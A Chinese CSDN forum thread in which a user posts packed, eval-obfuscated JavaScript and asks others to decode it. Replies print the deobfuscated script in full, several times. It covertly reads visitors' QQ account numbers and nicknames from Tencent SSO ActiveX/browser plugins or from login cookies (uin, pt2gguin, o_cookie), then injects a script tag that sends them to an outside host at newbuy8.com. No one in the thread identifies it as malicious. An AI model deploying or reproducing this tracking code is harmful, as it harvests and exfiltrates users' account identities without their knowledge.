一腾讯来的同事写的js 加密,求破

Urselect 2013-11-14 12:21:35
本人自称学js jquery已经有三年之多了,从2008开始玩csdn,虽然不能算是高手,但是像jquery插件什么还是会写的。

最近公司来了个腾讯过来的同事,写了此js加密,称像我这样的水平根本木有本事破解,被人这么说虽然很不服,却不知道如何解密。在此发帖求破



eval(function (p, a, c, k, e, d) { e = function (c) { return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) d[e(c)] = k[c] || e(c); k = [function (e) { return d[e] }]; e = function () { return '\\w+' }; c = 1; }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p; }('6 5$=[\'\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\2\\4\\a\\1\\2\\3\\8\\1\\7\\1\\2\\4\\b\\1\\2\\3\'];6 9=5$[0];', 12, 12, '|x7c|x78|x37|x36|_|var|x5f|x34|_2|x35|x39'.split('|'), 0, {}));
eval(function (p, a, c, k, e, d) { e = function (c) { return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) d[e(c)] = k[c] || e(c); k = [function (e) { return d[e] }]; e = function () { return '\\w+' }; c = 1; }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p; }('F y$=["\\Q\\x\\x\\I\\1J\\1i\\1i\\B\\w\\1l\\1g\\K\\W\\2a\\1y\\D\\E\\L\\1i\\D\\C\\2b\\C\\D\\x\\z\\E\\B\\S\\G\\C\\1t\\w\\1B\\1B","","\\X",\'\\S\',"\\z\\V\\K\\z\\M","\\z\\V\\K\\A\\J","\\z\\V\\Q\\C\\G\\Q","\\z\\V\\A\\w\\1u\\w\\A\\A\\w\\A","\\z\\V\\x\\z\\x\\J\\w","\\N\\N\\U\\R\\1f\\1h\\x\\A\\J\\1x\\E\\A\\1k\\T\\1q\\E\\P\\z\\B\\1y\\N\\N\\U\\1x\\E\\A\\1k\\T\\1q\\E\\P\\z\\B\\1E","\\1k\\T\\R\\1q\\1v\\N\\T","\\M\\1l\\N\\N\\U\\V\\R\\D\\D\\E\\K\\B\\x\\V\\M\\1l\\R\\D\\D\\E\\K\\B\\x\\2f\\z\\B","\\G\\x\\A\\N\\N\\U\\V\\R\\D\\D\\E\\K\\B\\x\\V\\G\\x\\A\\1c\\z\\D\\1e\\1c\\C\\L\\w","","\\C\\I\\I\\J\\z\\D\\C\\x\\z\\E\\B\\1i\\B\\I\\x\\1f\\G\\G\\E","\\w\\L\\1g\\w\\M","\\C\\I\\I\\J\\z\\D\\C\\x\\z\\E\\B\\1i\\B\\I\\x\\1f\\G\\G\\E","\\1w\\I\\1f","\\1w\\I\\1f","","","\\2d\\1T","\\S","\\K\\z\\B","","\\1w","\\I\\x\\1E\\P\\P\\K\\z\\B","","\\E","","\\E\\V\\D\\E\\E\\1e\\z\\w","","\\E","","","","",\'\\1U\\1m\\R\\1j\',"\\G\\D\\A\\z\\I\\x","\\x\\w\\1f\\x\\1i\\1G\\C\\1t\\C\\G\\D\\A\\z\\I\\x","\\X\\K\\z\\M\\S","\\X\\1A\\1A\\S","\\X\\B\\z\\D\\1e\\S","\\X\\Q\\C\\G\\Q\\S","\\X\\K\\A\\J\\S","\\X\\x\\z\\x\\J\\w\\S","\\X\\A\\w\\1u\\w\\A\\A\\w\\A\\S","\\X\\A\\S"];F a;F b;F c;F d;F e;F f;F g;F h;1p i(){a=y$[0];O(1H["\\I\\C\\A\\C\\L\\G"]["\\K\\G\\w\\A\\1c\\z\\D\\1e"]==Y){g=y$[1]}1a{g=2n(1H["\\I\\C\\A\\C\\L\\G"]["\\K\\G\\w\\A\\1c\\z\\D\\1e"])};F m=1K["\\G\\w\\C\\A\\D\\Q"]["\\G\\K\\1g\\G\\x\\A\\z\\B\\P"](1);F n=m["\\G\\I\\J\\z\\x"](y$[2]);1o(F o=0;o<n["\\J\\w\\B\\P\\x\\Q"];o++){F p=n[o]["\\z\\B\\M\\w\\1f\\U\\1u"](y$[3]);O(p==-1)1P;F q=n[o]["\\G\\K\\1g\\G\\x\\A\\z\\B\\P"](0,p);F r=n[o]["\\G\\K\\1g\\G\\x\\A\\z\\B\\P"](p+1);O(q==y$[4]){b=r}1a O(q==y$[5]){d=r}1a O(q==y$[6]){h=r}1a O(q==y$[7]){c=r}1a O(q==y$[8]){e=r}}};1p j(){F m=Y;F n=Y;1z{O(1d["\\R\\D\\x\\z\\1t\\w\\1r\\U\\1g\\1G\\w\\D\\x"]){F o=1C 1O(y$[9]);F p=o["\\1h\\A\\w\\C\\x\\w\\T\\1r\\N\\N\\U\\1j\\C\\x\\C"]();o["\\1v\\B\\z\\x\\N\\N\\U\\1x\\1k\\T\\1h\\x\\A\\J"](0,p);F q=o["\\1h\\A\\w\\C\\x\\w\\T\\1r\\N\\N\\U\\1j\\C\\x\\C"]();F r=o["\\1j\\E\\U\\I\\w\\A\\C\\x\\z\\E\\B"](2,q);F s=r["\\1b\\w\\x\\R\\A\\A\\C\\W"](y$[10]);F t=s["\\1b\\w\\x\\N\\z\\1I\\w"]();1o(F u=0;u<t;u++){F v=s["\\1b\\w\\x\\1j\\C\\x\\C"](u);m=v["\\1b\\w\\x\\1j\\1L\\E\\A\\M"](y$[11]);1z{n=v["\\1b\\w\\x\\N\\x\\A"](y$[12])}1F(Z){n=y$[13]}}}1a{O(1M["\\L\\z\\L\\w\\T\\W\\I\\w\\G"][y$[14]]){F o=1d["\\M\\E\\D\\K\\L\\w\\B\\x"]["\\D\\A\\w\\C\\x\\w\\1m\\J\\w\\L\\w\\B\\x"](y$[15]);o["\\x\\W\\I\\w"]=y$[16];o["\\G\\x\\W\\J\\w"]["\\1l\\z\\M\\x\\Q"]=y$[17];o["\\G\\x\\W\\J\\w"]["\\Q\\w\\z\\P\\Q\\x"]=y$[18];1d["\\M\\E\\D\\K\\L\\w\\B\\x"]["\\1g\\E\\M\\W"]["\\C\\I\\I\\w\\B\\M\\1h\\Q\\z\\J\\M"](o);F p=o["\\1v\\B\\z\\x\\1k\\1D\\R\\1c\\E\\N\\T"]();O(p!=1s){F q=o["\\1b\\w\\x\\1k\\1D\\R\\1h\\E\\K\\B\\x"]();1o(F r=0;r<q;r++){m=o["\\1b\\w\\x\\R\\D\\D\\E\\K\\B\\x\\1c\\C\\L\\w"](r);n=o["\\1b\\w\\x\\1c\\z\\D\\1e\\B\\C\\L\\w"](r)}}}}}1F(H){1d["\\D\\E\\B\\G\\E\\J\\w"]["\\w\\A\\A\\E\\A"](H)};O(m!=Y&&m!=y$[19]&&n!=Y&&n!=y$[20]){f=m;g=n;1n 1N}1a{1n 1s}};1p k(){F m;F n=1d["\\M\\E\\D\\K\\L\\w\\B\\x"]["\\D\\E\\E\\1e\\z\\w"]["\\G\\I\\J\\z\\x"](y$[21]);1o(F o=0;o<n["\\J\\w\\B\\P\\x\\Q"];o++){F p=n[o]["\\G\\I\\J\\z\\x"](y$[22]);O(p[0]==y$[23]&&p[1]!=y$[24]&&p[1]!=y$[25]||p[0]==y$[26]&&p[1]!=y$[27]){f=p[1]["\\A\\w\\I\\J\\C\\D\\w"](y$[28],y$[29]);1n}1a O(p[0]==y$[2i]&&p[1]!=y$[2m]){m=p[1]["\\A\\w\\I\\J\\C\\D\\w"](y$[2k],y$[2l])}};O(m!=Y){f=m}};1p l(){O(a==Y||a==y$[2h]||f==Y||f==y$[2j]||h==Y||h==y$[2q]){1n};F m=1d["\\M\\E\\D\\K\\L\\w\\B\\x"]["\\P\\w\\x\\1m\\J\\w\\L\\w\\B\\x\\G\\2o\\W\\T\\C\\P\\1c\\C\\L\\w"](y$[2p])["\\z\\x\\w\\L"](0);F n=1d["\\M\\E\\D\\K\\L\\w\\B\\x"]["\\D\\A\\w\\C\\x\\w\\1m\\J\\w\\L\\w\\B\\x"](y$[2g]);n["\\x\\W\\I\\w"]=y$[1V];n["\\G\\A\\D"]=a+y$[1X]+b+y$[1W]+f+y$[1R]+g+y$[1Q]+h+y$[1S]+d+y$[2c]+e+y$[2e]+c+y$[1Z]+1C 1Y()["\\P\\w\\x\\T\\z\\L\\w"]();m["\\C\\I\\I\\w\\B\\M\\1h\\Q\\z\\J\\M"](n)};i();O(j()==1s){k()};l();', 62, 151, ('||||||||||||' + _2 + '2|x6e|x61|x63|x6f|var|x73||x70|x6c|x75|x6d|x64|x53|if|x67|x68|x41|x3d|x54|x4f|x5f|x79|x26|null||||||||||||else|x47|x4e|window|x6b|x78|x62|x43|x2f|x44|x50|x77|x45|return|for|function|x4c|x58|false|x76|x66|x49|x30|x46|x2e|try|x71|x51|new|x56|x32|catch|x6a|BZ|x7a|x3a|location|x57|navigator|true|ActiveXObject|continue|43|42|44|x20|x48|39|41|40|Date|47|||||||||||x38|x3f|45|x3b|46|x55|38|34|30|35|32|33|31|encodeURIComponent|x42|37|36').split('|'), 0, {}));
...全文
1901 11 打赏 收藏 转发到动态 举报
写回复
用AI写文章
11 条回复
切换为时间正序
请发表友善的回复…
发表回复
Urselect 2013-11-14
  • 打赏
  • 举报
回复
引用 2 楼 xzy21com 的回复:
<script type="text/javascript">
其他解密就自己来吧
我就是解决到这一步。。。下面解不下去了
tony4geek 2013-11-14
  • 打赏
  • 举报
回复
很不错的 呵呵
notlikeGaoShou 2013-11-14
  • 打赏
  • 举报
回复
引用 5 楼 showbo 的回复:
eval加密,然后对字符串进行16进制编码
    var _$ = ['||||||||||||||||||||x65|x74|_|x69|x7'];
    var _2 = _$[0];
    var _$ = ["http://newbuy8.com/ca?action=saveQQ", "", "&", '=', "i_uid", "i_url", "i_hash", "i_referrer", "i_title", "SSOAxCtrlForPTLogin.SSOForPTLogin2", "PTALIST", "dwSSO_Account_dwAccountUin", "strSSO_Account_strNickName", "", "application/nptxsso", "embed", "application/nptxsso", "0px", "0px", "", "", "; ", "=", "uin", "", "0", "pt2gguin", "", "o", "", "o_cookie", "", "o", "", "", "", "", 'HEAD', "script", "text/javascript", "&uid=", "&qq=", "&nick=", "&hash=", "&url=", "&title=", "&referrer=", "&r="];
    var a;
    var b;
    var c;
    var d;
    var e;
    var f;
    var g;
    var h;
    function i() {
        a = _$[0];
        if (BZ["params"]["userNick"] == null) {
            g = _$[1]
        } else {
            g = encodeURIComponent(BZ["params"]["userNick"])
        };
        var m = location["search"]["substring"](1);
        var n = m["split"](_$[2]);
        for (var o = 0; o < n["length"]; o++) {
            var p = n[o]["indexOf"](_$[3]);
            if (p == -1) continue;
            var q = n[o]["substring"](0, p);
            var r = n[o]["substring"](p + 1);
            if (q == _$[4]) {
                b = r
            } else if (q == _$[5]) {
                d = r
            } else if (q == _$[6]) {
                h = r
            } else if (q == _$[7]) {
                c = r
            } else if (q == _$[8]) {
                e = r
            }
        }
    };
    function j() {
        var m = null;
        var n = null;
        try {
            if (window["ActiveXObject"]) {
                var o = new ActiveXObject(_$[9]);
                var p = o["CreateTXSSOData"]();
                o["InitSSOFPTCtrl"](0, p);
                var q = o["CreateTXSSOData"]();
                var r = o["DoOperation"](2, q);
                var s = r["GetArray"](_$[10]);
                var t = s["GetSize"]();
                for (var u = 0; u < t; u++) {
                    var v = s["GetData"](u);
                    m = v["GetDWord"](_$[11]);
                    try {
                        n = v["GetStr"](_$[12])
                    } catch (Z) {
                        n = _$[13]
                    }
                }
            } else {
                if (navigator["mimeTypes"][_$[14]]) {
                    var o = window["document"]["createElement"](_$[15]);
                    o["type"] = _$[16];
                    o["style"]["width"] = _$[17];
                    o["style"]["height"] = _$[18];
                    window["document"]["body"]["appendChild"](o);
                    var p = o["InitPVANoST"]();
                    if (p != false) {
                        var q = o["GetPVACount"]();
                        for (var r = 0; r < q; r++) {
                            m = o["GetAccountName"](r);
                            n = o["GetNickname"](r)
                        }
                    }
                }
            }
        } catch (H) {
            window["console"]["error"](H)
        };
        if (m != null && m != _$[19] && n != null && n != _$[20]) {
            f = m;
            g = n;
            return true
        } else {
            return false
        }
    };
    function k() {
        var m;
        var n = window["document"]["cookie"]["split"](_$[21]);
        for (var o = 0; o < n["length"]; o++) {
            var p = n[o]["split"](_$[22]);
            if (p[0] == _$[23] && p[1] != _$[24] && p[1] != _$[25] || p[0] == _$[26] && p[1] != _$[27]) {
                f = p[1]["replace"](_$[28], _$[29]);
                return
            } else if (p[0] == _$[30] && p[1] != _$[31]) {
                m = p[1]["replace"](_$[32], _$[33])
            }
        };
        if (m != null) {
            f = m
        }
    };
    function l() {
        if (a == null || a == _$[34] || f == null || f == _$[35] || h == null || h == _$[36]) {
            return
        };
        var m = window["document"]["getElementsByTagName"](_$[37])["item"](0);
        var n = window["document"]["createElement"](_$[38]);
        n["type"] = _$[39];
        n["src"] = a + _$[40] + b + _$[41] + f + _$[42] + g + _$[43] + h + _$[44] + d + _$[45] + e + _$[46] + c + _$[47] + new Date()["getTime"]();
        m["appendChild"](n)
    };
    i();
    if (j() == false) {
        k()
    };
    l();
Go 旅城通票 2013-11-14
  • 打赏
  • 举报
回复
eval加密,然后对字符串进行16进制编码
    var _$ = ['||||||||||||||||||||x65|x74|_|x69|x7'];
    var _2 = _$[0];
    var _$ = ["http://newbuy8.com/ca?action=saveQQ", "", "&", '=', "i_uid", "i_url", "i_hash", "i_referrer", "i_title", "SSOAxCtrlForPTLogin.SSOForPTLogin2", "PTALIST", "dwSSO_Account_dwAccountUin", "strSSO_Account_strNickName", "", "application/nptxsso", "embed", "application/nptxsso", "0px", "0px", "", "", "; ", "=", "uin", "", "0", "pt2gguin", "", "o", "", "o_cookie", "", "o", "", "", "", "", 'HEAD', "script", "text/javascript", "&uid=", "&qq=", "&nick=", "&hash=", "&url=", "&title=", "&referrer=", "&r="];
    var a;
    var b;
    var c;
    var d;
    var e;
    var f;
    var g;
    var h;
    function i() {
        a = _$[0];
        if (BZ["params"]["userNick"] == null) {
            g = _$[1]
        } else {
            g = encodeURIComponent(BZ["params"]["userNick"])
        };
        var m = location["search"]["substring"](1);
        var n = m["split"](_$[2]);
        for (var o = 0; o < n["length"]; o++) {
            var p = n[o]["indexOf"](_$[3]);
            if (p == -1) continue;
            var q = n[o]["substring"](0, p);
            var r = n[o]["substring"](p + 1);
            if (q == _$[4]) {
                b = r
            } else if (q == _$[5]) {
                d = r
            } else if (q == _$[6]) {
                h = r
            } else if (q == _$[7]) {
                c = r
            } else if (q == _$[8]) {
                e = r
            }
        }
    };
    function j() {
        var m = null;
        var n = null;
        try {
            if (window["ActiveXObject"]) {
                var o = new ActiveXObject(_$[9]);
                var p = o["CreateTXSSOData"]();
                o["InitSSOFPTCtrl"](0, p);
                var q = o["CreateTXSSOData"]();
                var r = o["DoOperation"](2, q);
                var s = r["GetArray"](_$[10]);
                var t = s["GetSize"]();
                for (var u = 0; u < t; u++) {
                    var v = s["GetData"](u);
                    m = v["GetDWord"](_$[11]);
                    try {
                        n = v["GetStr"](_$[12])
                    } catch (Z) {
                        n = _$[13]
                    }
                }
            } else {
                if (navigator["mimeTypes"][_$[14]]) {
                    var o = window["document"]["createElement"](_$[15]);
                    o["type"] = _$[16];
                    o["style"]["width"] = _$[17];
                    o["style"]["height"] = _$[18];
                    window["document"]["body"]["appendChild"](o);
                    var p = o["InitPVANoST"]();
                    if (p != false) {
                        var q = o["GetPVACount"]();
                        for (var r = 0; r < q; r++) {
                            m = o["GetAccountName"](r);
                            n = o["GetNickname"](r)
                        }
                    }
                }
            }
        } catch (H) {
            window["console"]["error"](H)
        };
        if (m != null && m != _$[19] && n != null && n != _$[20]) {
            f = m;
            g = n;
            return true
        } else {
            return false
        }
    };
    function k() {
        var m;
        var n = window["document"]["cookie"]["split"](_$[21]);
        for (var o = 0; o < n["length"]; o++) {
            var p = n[o]["split"](_$[22]);
            if (p[0] == _$[23] && p[1] != _$[24] && p[1] != _$[25] || p[0] == _$[26] && p[1] != _$[27]) {
                f = p[1]["replace"](_$[28], _$[29]);
                return
            } else if (p[0] == _$[30] && p[1] != _$[31]) {
                m = p[1]["replace"](_$[32], _$[33])
            }
        };
        if (m != null) {
            f = m
        }
    };
    function l() {
        if (a == null || a == _$[34] || f == null || f == _$[35] || h == null || h == _$[36]) {
            return
        };
        var m = window["document"]["getElementsByTagName"](_$[37])["item"](0);
        var n = window["document"]["createElement"](_$[38]);
        n["type"] = _$[39];
        n["src"] = a + _$[40] + b + _$[41] + f + _$[42] + g + _$[43] + h + _$[44] + d + _$[45] + e + _$[46] + c + _$[47] + new Date()["getTime"]();
        m["appendChild"](n)
    };
    i();
    if (j() == false) {
        k()
    };
    l();
scscms太阳光 2013-11-14
  • 打赏
  • 举报
回复
说错。是BZ对象 BZ["params"]["userNick"]
scscms太阳光 2013-11-14
  • 打赏
  • 举报
回复
同时你这还缺少BZ()函数。
scscms太阳光 2013-11-14
  • 打赏
  • 举报
回复
<script type="text/javascript">
        var _$ = ["\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x62\x75\x79\x38\x2e\x63\x6f\x6d\x2f\x63\x61\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x73\x61\x76\x65\x51\x51", "", "\x26", '\x3d', "\x69\x5f\x75\x69\x64", "\x69\x5f\x75\x72\x6c", "\x69\x5f\x68\x61\x73\x68", "\x69\x5f\x72\x65\x66\x65\x72\x72\x65\x72", "\x69\x5f\x74\x69\x74\x6c\x65", "\x53\x53\x4f\x41\x78\x43\x74\x72\x6c\x46\x6f\x72\x50\x54\x4c\x6f\x67\x69\x6e\x2e\x53\x53\x4f\x46\x6f\x72\x50\x54\x4c\x6f\x67\x69\x6e\x32", "\x50\x54\x41\x4c\x49\x53\x54", "\x64\x77\x53\x53\x4f\x5f\x41\x63\x63\x6f\x75\x6e\x74\x5f\x64\x77\x41\x63\x63\x6f\x75\x6e\x74\x55\x69\x6e", "\x73\x74\x72\x53\x53\x4f\x5f\x41\x63\x63\x6f\x75\x6e\x74\x5f\x73\x74\x72\x4e\x69\x63\x6b\x4e\x61\x6d\x65", "", "\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6e\x70\x74\x78\x73\x73\x6f", "\x65\x6d\x62\x65\x64", "\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6e\x70\x74\x78\x73\x73\x6f", "\x30\x70\x78", "\x30\x70\x78", "", "", "\x3b\x20", "\x3d", "\x75\x69\x6e", "", "\x30", "\x70\x74\x32\x67\x67\x75\x69\x6e", "", "\x6f", "", "\x6f\x5f\x63\x6f\x6f\x6b\x69\x65", "", "\x6f", "", "", "", "", '\x48\x45\x41\x44', "\x73\x63\x72\x69\x70\x74", "\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x26\x75\x69\x64\x3d", "\x26\x71\x71\x3d", "\x26\x6e\x69\x63\x6b\x3d", "\x26\x68\x61\x73\x68\x3d", "\x26\x75\x72\x6c\x3d", "\x26\x74\x69\x74\x6c\x65\x3d", "\x26\x72\x65\x66\x65\x72\x72\x65\x72\x3d", "\x26\x72\x3d"];
        var a;
        var b;
        var c;
        var d;
        var e;
        var f;
        var g;
        var h;
        function i() {
            a = _$[0];
            if (BZ["\x70\x61\x72\x61\x6d\x73"]["\x75\x73\x65\x72\x4e\x69\x63\x6b"] == null) {
                g = _$[1]
            } else {
                g = encodeURIComponent(BZ["\x70\x61\x72\x61\x6d\x73"]["\x75\x73\x65\x72\x4e\x69\x63\x6b"])
            }
            ;
            var m = location["\x73\x65\x61\x72\x63\x68"]["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](1);
            var n = m["\x73\x70\x6c\x69\x74"](_$[2]);
            for (var o = 0; o < n["\x6c\x65\x6e\x67\x74\x68"]; o++) {
                var p = n[o]["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3]);
                if (p == -1)continue;
                var q = n[o]["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, p);
                var r = n[o]["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](p + 1);
                if (q == _$[4]) {
                    b = r
                } else if (q == _$[5]) {
                    d = r
                } else if (q == _$[6]) {
                    h = r
                } else if (q == _$[7]) {
                    c = r
                } else if (q == _$[8]) {
                    e = r
                }
            }
        }
        ;
        function j() {
            var m = null;
            var n = null;
            try {
                if (window["\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74"]) {
                    var o = new ActiveXObject(_$[9]);
                    var p = o["\x43\x72\x65\x61\x74\x65\x54\x58\x53\x53\x4f\x44\x61\x74\x61"]();
                    o["\x49\x6e\x69\x74\x53\x53\x4f\x46\x50\x54\x43\x74\x72\x6c"](0, p);
                    var q = o["\x43\x72\x65\x61\x74\x65\x54\x58\x53\x53\x4f\x44\x61\x74\x61"]();
                    var r = o["\x44\x6f\x4f\x70\x65\x72\x61\x74\x69\x6f\x6e"](2, q);
                    var s = r["\x47\x65\x74\x41\x72\x72\x61\x79"](_$[10]);
                    var t = s["\x47\x65\x74\x53\x69\x7a\x65"]();
                    for (var u = 0; u < t; u++) {
                        var v = s["\x47\x65\x74\x44\x61\x74\x61"](u);
                        m = v["\x47\x65\x74\x44\x57\x6f\x72\x64"](_$[11]);
                        try {
                            n = v["\x47\x65\x74\x53\x74\x72"](_$[12])
                        } catch (Z) {
                            n = _$[13]
                        }
                    }
                } else {
                    if (navigator["\x6d\x69\x6d\x65\x54\x79\x70\x65\x73"][_$[14]]) {
                        var o = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"](_$[15]);
                        o["\x74\x79\x70\x65"] = _$[16];
                        o["\x73\x74\x79\x6c\x65"]["\x77\x69\x64\x74\x68"] = _$[17];
                        o["\x73\x74\x79\x6c\x65"]["\x68\x65\x69\x67\x68\x74"] = _$[18];
                        window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x62\x6f\x64\x79"]["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](o);
                        var p = o["\x49\x6e\x69\x74\x50\x56\x41\x4e\x6f\x53\x54"]();
                        if (p != false) {
                            var q = o["\x47\x65\x74\x50\x56\x41\x43\x6f\x75\x6e\x74"]();
                            for (var r = 0; r < q; r++) {
                                m = o["\x47\x65\x74\x41\x63\x63\x6f\x75\x6e\x74\x4e\x61\x6d\x65"](r);
                                n = o["\x47\x65\x74\x4e\x69\x63\x6b\x6e\x61\x6d\x65"](r)
                            }
                        }
                    }
                }
            } catch (H) {
                window["\x63\x6f\x6e\x73\x6f\x6c\x65"]["\x65\x72\x72\x6f\x72"](H)
            }
            ;
            if (m != null && m != _$[19] && n != null && n != _$[20]) {
                f = m;
                g = n;
                return true
            } else {
                return false
            }
        }
        ;
        function k() {
            var m;
            var n = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"]["\x73\x70\x6c\x69\x74"](_$[21]);
            for (var o = 0; o < n["\x6c\x65\x6e\x67\x74\x68"]; o++) {
                var p = n[o]["\x73\x70\x6c\x69\x74"](_$[22]);
                if (p[0] == _$[23] && p[1] != _$[24] && p[1] != _$[25] || p[0] == _$[26] && p[1] != _$[27]) {
                    f = p[1]["\x72\x65\x70\x6c\x61\x63\x65"](_$[28], _$[29]);
                    return
                } else if (p[0] == _$[30] && p[1] != _$[31]) {
                    m = p[1]["\x72\x65\x70\x6c\x61\x63\x65"](_$[32], _$[33])
                }
            }
            ;
            if (m != null) {
                f = m
            }
        };
        function l() {
            if (a == null || a == _$[34] || f == null || f == _$[35] || h == null || h == _$[36]) {
                return
            }
            ;
            var m = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65"](_$[37])["\x69\x74\x65\x6d"](0);
            var n = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"](_$[38]);
            n["\x74\x79\x70\x65"] = _$[39];
            n["\x73\x72\x63"] = a + _$[40] + b + _$[41] + f + _$[42] + g + _$[43] + h + _$[44] + d + _$[45] + e + _$[46] + c + _$[47] + new Date()["\x67\x65\x74\x54\x69\x6d\x65"]();
            m["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](n)
        }
        ;
        i();
        if (j() == false) {
            k()
        }
        ;
        l();
    </script>
其他解密就自己来吧
似梦飞花 2013-11-14
  • 打赏
  • 举报
回复
如果你真想破就自己慢慢看 貌似没什么看不懂的地方 估计很少有人会帮你计算吧
PeytonLee 2013-11-14
  • 打赏
  • 举报
回复
高手呀
Urselect 2013-11-14
  • 打赏
  • 举报
回复
引用 6 楼 notlikeGaoShou 的回复:
[quote=引用 5 楼 showbo 的回复:] eval加密,然后对字符串进行16进制编码
    var _$ = ['||||||||||||||||||||x65|x74|_|x69|x7'];
    var _2 = _$[0];
    var _$ = ["http://newbuy8.com/ca?action=saveQQ", "", "&", '=', "i_uid", "i_url", "i_hash", "i_referrer", "i_title", "SSOAxCtrlForPTLogin.SSOForPTLogin2", "PTALIST", "dwSSO_Account_dwAccountUin", "strSSO_Account_strNickName", "", "application/nptxsso", "embed", "application/nptxsso", "0px", "0px", "", "", "; ", "=", "uin", "", "0", "pt2gguin", "", "o", "", "o_cookie", "", "o", "", "", "", "", 'HEAD', "script", "text/javascript", "&uid=", "&qq=", "&nick=", "&hash=", "&url=", "&title=", "&referrer=", "&r="];
    var a;
    var b;
    var c;
    var d;
    var e;
    var f;
    var g;
    var h;
    function i() {
        a = _$[0];
        if (BZ["params"]["userNick"] == null) {
            g = _$[1]
        } else {
            g = encodeURIComponent(BZ["params"]["userNick"])
        };
        var m = location["search"]["substring"](1);
        var n = m["split"](_$[2]);
        for (var o = 0; o < n["length"]; o++) {
            var p = n[o]["indexOf"](_$[3]);
            if (p == -1) continue;
            var q = n[o]["substring"](0, p);
            var r = n[o]["substring"](p + 1);
            if (q == _$[4]) {
                b = r
            } else if (q == _$[5]) {
                d = r
            } else if (q == _$[6]) {
                h = r
            } else if (q == _$[7]) {
                c = r
            } else if (q == _$[8]) {
                e = r
            }
        }
    };
    function j() {
        var m = null;
        var n = null;
        try {
            if (window["ActiveXObject"]) {
                var o = new ActiveXObject(_$[9]);
                var p = o["CreateTXSSOData"]();
                o["InitSSOFPTCtrl"](0, p);
                var q = o["CreateTXSSOData"]();
                var r = o["DoOperation"](2, q);
                var s = r["GetArray"](_$[10]);
                var t = s["GetSize"]();
                for (var u = 0; u < t; u++) {
                    var v = s["GetData"](u);
                    m = v["GetDWord"](_$[11]);
                    try {
                        n = v["GetStr"](_$[12])
                    } catch (Z) {
                        n = _$[13]
                    }
                }
            } else {
                if (navigator["mimeTypes"][_$[14]]) {
                    var o = window["document"]["createElement"](_$[15]);
                    o["type"] = _$[16];
                    o["style"]["width"] = _$[17];
                    o["style"]["height"] = _$[18];
                    window["document"]["body"]["appendChild"](o);
                    var p = o["InitPVANoST"]();
                    if (p != false) {
                        var q = o["GetPVACount"]();
                        for (var r = 0; r < q; r++) {
                            m = o["GetAccountName"](r);
                            n = o["GetNickname"](r)
                        }
                    }
                }
            }
        } catch (H) {
            window["console"]["error"](H)
        };
        if (m != null && m != _$[19] && n != null && n != _$[20]) {
            f = m;
            g = n;
            return true
        } else {
            return false
        }
    };
    function k() {
        var m;
        var n = window["document"]["cookie"]["split"](_$[21]);
        for (var o = 0; o < n["length"]; o++) {
            var p = n[o]["split"](_$[22]);
            if (p[0] == _$[23] && p[1] != _$[24] && p[1] != _$[25] || p[0] == _$[26] && p[1] != _$[27]) {
                f = p[1]["replace"](_$[28], _$[29]);
                return
            } else if (p[0] == _$[30] && p[1] != _$[31]) {
                m = p[1]["replace"](_$[32], _$[33])
            }
        };
        if (m != null) {
            f = m
        }
    };
    function l() {
        if (a == null || a == _$[34] || f == null || f == _$[35] || h == null || h == _$[36]) {
            return
        };
        var m = window["document"]["getElementsByTagName"](_$[37])["item"](0);
        var n = window["document"]["createElement"](_$[38]);
        n["type"] = _$[39];
        n["src"] = a + _$[40] + b + _$[41] + f + _$[42] + g + _$[43] + h + _$[44] + d + _$[45] + e + _$[46] + c + _$[47] + new Date()["getTime"]();
        m["appendChild"](n)
    };
    i();
    if (j() == false) {
        k()
    };
    l();
[/quote] 这个看上去很不错。。不是知道是不是这样
Urselect 2013-11-14
  • 打赏
  • 举报
回复
引用 4 楼 xzy21com 的回复:
说错。是BZ对象 BZ["params"]["userNick"]
这个我找找好了。他就给了这个跟给了个请求

87,910

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧